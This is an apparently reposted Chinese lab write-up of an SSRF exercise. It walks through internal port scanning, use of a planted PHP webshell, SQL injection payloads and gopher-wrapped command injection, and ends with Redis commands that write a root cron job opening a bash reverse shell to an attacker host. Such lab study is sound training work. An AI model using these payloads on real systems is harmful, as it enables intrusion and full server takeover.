利用SSRF击穿内网!kali靶机实验

news2025/7/18 15:13:56

目录

1. 靶场拓扑图

2. 判断SSRF的存在

3. SSRF获取本地信息

3.1. SSRF常用协议

3.2. 使用file协议

4. 172.150.23.1/24探测端口

5. 172.150.23.22 - 代码注入

6. 172.150.23.23 SQL注入

7. 172.150.23.24 命令执行

7.1. 实验步骤

8. 172.150.23.27:6379 Redis未授权

8.1. Redis unauth 应用详情

8.1.1. 清空 key(实战中最好不要使用该命令)

8.1.2. 设置要操作的路径为定时任务目录

8.1.3. 在定时任务目录下创建 root 的定时任务文件

8.1.4. 写入 Bash 反弹 shell 的 payload

8.1.5. 保存上述操作


 

首先我们利用到的国光老师制作的与ssrf相关的靶场资源链接:Github - sqlsec/ssrf-vuls

以下是部分靶场的实验,均为自己手动试过

利用docker容器搭建kali靶场,启动靶场会有端口映射,对IP地址和端口进行访问,实现访问靶场,

这种状态类似搭建了一个服务器,我们输入IP加端口进行访问,就像访问公网一样,我们可以利用该ssrf漏洞对内网其他地址进行访问攻击,如下图

1. 靶场拓扑图

192.168.119.128:目前虚拟机IP

借用下图对该靶场进行更好的理解,其他地址就是其他服务器。具有ssrf漏洞的服务器就像一个跳板,我们借用该跳板对其他服务器进行访问敏感数据,在该靶场中,我们任务就是找到相应flag

 

先理清一下攻击流程,172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 8080,此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。

2. 判断SSRF的存在

有对外进行网络请求的地方,就可能存在ssrf,当开启靶场后,我们事先访问一番IP+映射端口

192.168.119.128:9080

 

 

可以进行网站请求,进行测试,对公网进行访问,比方说百度

 

通过图中显现,测试成功,接下来对内网IP 127.0.0.1 进行测试,看看是否可以访问

 

测试依然成功,通过两次测试,基本可以判定是ssrf漏洞,它并没有对用户的输入进行过滤或者验证,导致可以对任意外网或者内网进行访问。

也就是我们接下来可以对该内网进行访问

3. SSRF获取本地信息

正常业务情况是请求网站然后响应内容,但是没做好过滤可以使用其他协议,配合 file 协议来读取本地的文件信息。

当我们确认漏洞是ssrf后,我们还需要知道该IP地址是什么,然后对该网段进行判断,进行攻击

3.1. SSRF常用协议

http://:探测内网主机存活、端口开放情况

gopher://:发送GET或POST请求;攻击内网应用

dict://:泄露安装软件版本信息,查看端口,操作内网远程访问等

file://:读取本地文件

接下来我们使用相关协议对该服务器进行信息收集

由于我们什么信息都不知道,首先采用file协议来获取本地信息

3.2. 使用file协议

file:///etc/hosts

 

为什么使用hosts文件呢,因为hosts文件中会保存自己的IP地址。

权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

172.150.23.21 得到了该地址,就可以对该网段进行搜集了,探测内网端口

4. 172.150.23.1/24探测端口

常用端口80,8080,6379,3306,网段:21到40,扫一下,因为我们目前是上帝视角,就爆破这几个熟悉流程即可

对于探测端口,我们常使用dict协议

dict://:泄露安装软件版本信息,查看端口,操作内网远程访问等

 

使用bp进行爆破,将d段与端口添加

 

- sniper(狙击手攻击):这种攻击使用单一的有效载荷集和一个或多个有效载荷位置。它将每个有效载荷依次放入第一个位置、第二个位置,依此类推。

- battering ram(攻城槌攻击):这种攻击使用单一的有效载荷集。它遍历这些有效载荷,并将相同的有效载荷同时放入所有定义的有效载荷位置。

- pitchfork(干草叉攻击):这种攻击使用多个有效载荷集(每个定义的位置对应不同的有效载荷集,最多20个)。攻击同时遍历所有有效载荷集,先使用每个集中的第一个有效载荷,然后是每个集中的第二个有效载荷,依此类推。

- cluster bomb(集束炸弹攻击):这种攻击使用多个有效载荷集(每个定义的位置对应不同的有效载荷集,最多20个)。攻击依次遍历每个有效载荷集,以测试有效载荷组合的所有排列。

使用cluster bomb模块

通过爆破发现21:80,22:80,23:3306,23:80,24:80,呃直接看图吧

 

 

比对前面开头的拓扑图,一一匹配,信息收集完毕,接下来使用SSRF漏洞来进行内网攻击

5. 172.150.23.22 - 代码注入

既然我们探测到了这些端口,接下来对其进行实验

访问172.150.23.22

 

返回一个界面,思考一下,就单一个界面,我们接下来应该是对其进行目录扫描,看看是否有隐藏目录,然后对隐藏目录进行访问

172.150.23.22/222.php

对网址后面添加php文件,在bp中对其进行爆破访问《类型php文件》

 

通过爆破,发现两个文件具有回显,并且是典型的敏感文件和一句话木马

  1. phpinfo.php-------》获得了PHP版本信息,并且还有系统信息

 

  1. shell.php 一句话木马,接下来可以利用一句话木马进行命令执行

 

使用get传参进行代码注入172.150.23.22/shell.php?cmd=ls出现了以下信息

 

  1. 172.150.23.22/shell.php?cmd=cat%20/etc/hosts cat后面的空格要改为%20,才能进行访问hosts

 

  1. 但是我们需要找到flag,如果从 BP 里面抓包请求的话,空格得写成 %2520,即两次 URL 编码才可以顺利执行命令:172.150.23.22/shell.php?cmd=cat%20/flag

 

6. 172.150.23.23 SQL注入

访问该站点,是一个SQL注入类型的靶场

 

?id=1 正常查询加上’出现错误,为报错注入,使用报错注入语句直接秒了

 

http://172.150.23.23/?id=1%20and%201=2%20union%20select%20version(),user(),3,database()--+

报错语句带出相关信息

 

172.150.23.23?id=1'%20and%20(select%20extractvalue("anything",concat('~',(select%20user()))))--+

 

7. 172.150.23.24 命令执行

172.72.23.24 是一个经典的命令执行,通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数,从而导致任意命令执行:

 

这种场景和之前的攻击场景稍微不太一样,之前的代码注入SQL 注入都是直接通过 GET 方式来传递参数进行攻击的,但是这个命令执行的场景是通过 POST 方式触发的,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下:

 

注意几点:

  1. Content-Length需要正确设置,用Burp发一次,会自动计算
  2. 需要URL编码一次
  3. 删除Accept-Encoding,否则结果会被两次编码(至善一个)
  4. 格式:gopher://172.72.23.24:80/_<编码后POST数据包>

7.1. 实验步骤

  1. 输入127.0.0.1 ping一下本地,没有回显,此时使用bp拦包,网址为post请求

 

bp拦截

 

  1. 在ssrf中无法使用HTTP协议来传递post数据,因此要使用一个gopher协议,接下来就是如何将数据变成gopher协议符合的格式。

 

  1. 事先我们需要将上图中红框中的规则删去,因为如果它存在,请求出去的信息将会被两次编码,导致信息流错误,使无法正常gopher。

 

  1. 我们要构造属于172.150.23.24的gopher协议,因此需要将Host改为172.150.23.24

并且将无关信息删除,框住的,?id=1也删去

 

  1. 改为下面样子并且发送一次,会改变长度为适合的长度。

 

 

  1. 对剩下的内容进行两次url编码

 

  1. 重新抓一个原始包,接下来就是将编码的数据流粘贴到这个包中,构造gopher协议

 

  1. gopher://172.150.23.24:80/_ ------>下划线:因为gopher协议在传输过程中会吞掉一个字符,这个字符任意都可以,

 

将;后面的指令更改,再编码两次构造协议同理可以查到其他信息。

8. 172.150.23.27:6379 Redis未授权

8.1. Redis unauth 应用详情

内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务,系统没有 Web 服务(无法写 Shell),无 SSH 公私钥认证(无法写公钥),所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下:

dict://x.x.x.x:6379/<Redis 命令>
  • 使用dict协议来简单判断是否存在未授权,执行info命令:dict://ip:port/info

 

证实存在未授权,写入定时任务反弹shell,其基本payload:

flushall #删除所有key,保证我们的优先级最高

config set dir /var/spool/cron/ #设置目录,还有/etc/crontab或者/etc/cron.d/也是可以存放定时任务的地方

config set dbfilename root #文件名与用户名一致

set chenlvtnag "\n* * * * * /bin/bash -i >& /dev/tcp/Hacker_IP/2333 0>&1\n" #这里之所以有两个\n是为了保证写入的定时任务格式正确

save #保存

利用的时候,只需要用burp结合dict协议来逐条发包即可,最好url编码一次(受post中的&影响),不过不需要编码两次,因为这里不是http协议.

 

Redis 成功返回执行完 info 命令后的结果信息

8.1.1. 清空 key(实战中最好不要使用该命令)

dict://172.72.23.27:6379/flushall

8.1.2. 设置要操作的路径为定时任务目录

dict://172.72.23.27:6379/config set dir /var/spool/cron/

8.1.3. 在定时任务目录下创建 root 的定时任务文件

dict://172.72.23.27:6379/config set dbfilename root

8.1.4. 写入 Bash 反弹 shell 的 payload

dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333
0>%261\n"

8.1.5. 保存上述操作

dict://172.72.23.27:6379/save

SSRF 传递的时候记得要把 & URL 编码为 %26,上面的操作最好再 BP 下抓包操作,防止浏
览器传输的时候被 URL 打乱编码

Config set dir /var/spool/cron/ 相当于 cd /var/spool/cron/

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2374620.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DVWA在线靶场-xss部分

目录 1. xxs&#xff08;dom&#xff09; 1.1 low 1.2 medium 1.3 high 1.4 impossible 2. xss&#xff08;reflected&#xff09; 反射型 2.1 low 2.2 medium 2.3 high 2.4 impossible 3. xss&#xff08;stored&#xff09;存储型 --留言板 3.1 low 3.2 medium 3.3 high 3.…

Go 语言 slice(切片) 的使用

序言 在许多开发语言中&#xff0c;动态数组是必不可少的一个组成部分。在实际的开发中很少会使用到数组&#xff0c;因为对于数组的大小大多数情况下我们是不能事先就确定好的&#xff0c;所以他不够灵活。动态数组通过提供自动扩容的机制&#xff0c;极大地提升了开发效率。这…

js常用的数组遍历方式

以下是一个完整的示例&#xff0c;将包含图片、文字和数字的数组渲染到 HTML 页面&#xff0c;使用 ​多种遍历方式​ 实现不同的渲染效果&#xff1a; 1. 准备数据&#xff08;数组&#xff09; const items [{ id: 1, name: "苹果", price: 5.99, image: "h…

【网络编程】五、三次握手 四次挥手

文章目录 Ⅰ. 三次握手Ⅱ. 建立连接后的通信Ⅲ. 四次挥手 Ⅰ. 三次握手 ​ 1、首先双方都是处于未通信的状态&#xff0c;也就是关闭状态 CLOSE。 ​ 2、因为服务端是为了服务客户端的&#xff0c;所以它会提前调用 listen() 函数进行对客户端请求的监听。 ​ 3、接着客户端就…

从 AGI 到具身智能体:解构 AI 核心概念与演化路径全景20250509

&#x1f916; 从 AGI 到具身智能体&#xff1a;解构 AI 核心概念与演化路径全景 作者&#xff1a;AI 应用实践者 在过去的几年中&#xff0c;AI 领域飞速发展&#xff0c;从简单的文本生成模型演进为今天具备复杂推理、感知能力的“智能体”系统。本文将从核心概念出发&#x…

Docker Compose 的历史和发展

这张图表展示了Docker Compose从V1到V2的演变过程&#xff0c;并解释了不同版本的Compose文件格式及其支持情况。以下是对图表的详细讲解&#xff1a; Compose V1 No longer supported: Compose V1已经不再支持。Compose file format 3.x: 使用了版本3.x的Compose文件格式。 …

从 JIT 即时编译一直讲到CGI|FastGGI|WSGI|ASGI四种协议的实现细节

背景 我一度理解错了这个东西&#xff0c;之前没有AI的时候&#xff0c;也没深究过&#xff0c;还觉得PHP8支持了常驻内存的运行的错误理解&#xff0c;时至今日再来看这个就很清晰了。 另外&#xff0c;早几年对以上4个协议&#xff0c;我也没搞懂&#xff0c;时至今日&…

CSS3 遮罩

在网页设计中&#xff0c;我们经常需要实现一些特殊的视觉效果来增强用户体验。CSS3 遮罩&#xff08;mask&#xff09;允许我们通过控制元素的可见区域来创建各种精美的视觉效果。本文将带你全面了解 CSS3 遮罩的功能和应用。 什么是 CSS3 遮罩&#xff1f; CSS3 遮罩是一种…

ResNet残差神经网络的模型结构定义(pytorch实现)

ResNet残差神经网络的模型结构定义&#xff08;pytorch实现&#xff09; ResNet‑34 ResNet‑34的实现思路。核心在于&#xff1a; 定义残差块&#xff08;BasicBlock&#xff09;用 _make_layer 方法堆叠多个残差块按照 ResNet‑34 的通道和层数配置来搭建网络 import torch…

uniapp|商品列表加入购物车实现抛物线动画效果、上下左右抛入、多端兼容(H5、APP、微信小程序)

以uniapp框架为基础,详细解析商品列表加入购物车抛物线动画的实现方案。通过动态获取商品点击位置与购物车坐标,结合CSS过渡动画模拟抛物线轨迹,实现从商品图到购物车图标的动态效果。 目录 核心实现原理坐标动态计算抛物线轨迹模拟​动画元素控制代码实现详解模板层设计脚本…

谈AI/OT 的融合

过去的十几年间&#xff0c;工业界讨论最多的话题之一就是IT/OT 融合&#xff0c;现在&#xff0c;我们不仅要实现IT/OT 的融合&#xff0c;更要面向AI/OT 的融合。看起来不太靠谱&#xff0c;却留给我们无限的想象空间。OT 领域的专家们不要再当“九斤老太”&#xff0c;指责这…

USB传输模式

USB有四种传输模式: 控制传输, 中断传输, 同步传输, 批量传输 1. 中断传输 中断传输一般用于小批量, 非连续的传输. 对实时性要求较高. 常见的使用此传输模式的设备有: 鼠标, 键盘等. 要注意的是, 这里的 “中断” 和我们常见的中断概念有差异. Linux中的中断是设备主动发起的…

.NET10 - 尝试一下Open Api的一些新特性

1.简单介绍 .NET9中Open Api有了很大的变化&#xff0c;在默认的Asp.NET Core Web Api项目中&#xff0c;已经移除了Swashbuckle.AspNetCore package&#xff0c;同时progrom中也变更为 builder.Servers.AddOpenApi() builder.Services.MapOpenApi() 2025年微软将发布…

RabbitMQ 工作模式

RabbitMQ 一共有 7 中工作模式&#xff0c;可以先去官网上了解一下&#xff08;一下截图均来自官网&#xff09;&#xff1a;RabbitMQ 官网 Simple P&#xff1a;生产者&#xff0c;要发送消息的程序&#xff1b;C&#xff1a;消费者&#xff0c;消息的接受者&#xff1b;hell…

基于C++的多线程网络爬虫设计与实现(CURL + 线程池)

在当今大数据时代&#xff0c;网络爬虫作为数据采集的重要工具&#xff0c;其性能直接决定了数据获取的效率。传统的单线程爬虫在面对海量网页时往往力不从心&#xff0c;而多线程技术可以充分利用现代多核CPU的计算能力&#xff0c;显著提升爬取效率。本文将详细介绍如何使用C…

【日撸 Java 三百行】Day 11(顺序表(一))

目录 Day 11&#xff1a;顺序表&#xff08;一&#xff09; 一、关于顺序表 二、关于面向对象 三、代码模块分析 1. 顺序表的属性 2. 顺序表的方法 四、代码及测试 拓展&#xff1a; 小结 Day 11&#xff1a;顺序表&#xff08;一&#xff09; Task&#xff1a; 在《数…

软考 系统架构设计师系列知识点之杂项集萃(55)

接前一篇文章&#xff1a;软考 系统架构设计师系列知识点之杂项集萃&#xff08;54&#xff09; 第89题 某软件公司欲开发一个Windows平台上的公告板系统。在明确用户需求后&#xff0c;该公司的架构师决定采用Command模式实现该系统的界面显示部分&#xff0c;并设计UML类图如…

保持Word中插入图片的清晰度

大家有没有遇到这个问题&#xff0c;原本绘制的高清晰度图片&#xff0c;插入word后就变模糊了。先说原因&#xff0c;word默认启动了自动压缩图片功能&#xff0c;分享一下如何关闭这项功能&#xff0c;保持Word中插入图片的清晰度。 ①在Word文档中&#xff0c;点击左上角的…

Linux复习笔记(三) 网络服务配置(web)

遇到的问题&#xff0c;都有解决方案&#xff0c;希望我的博客能为你提供一点帮助。 二、网络服务配置 2.3 web服务配置 2.3.1通信基础&#xff1a;HTTP协议与C/S架构&#xff08;了解&#xff09; ​​HTTP协议的核心作用​​ Web服务基于HTTP/HTTPS协议实现客户端&#xff…

springboot旅游小程序-计算机毕业设计源码76696

目 录 摘要 1 绪论 1.1研究背景与意义 1.2研究现状 1.3论文结构与章节安排 2 基于微信小程序旅游网站系统分析 2.1 可行性分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 法律可行性分析 2.2 系统功能分析 2.2.1 功能性分析 2.2.2 非功能性分析 2.3 系统…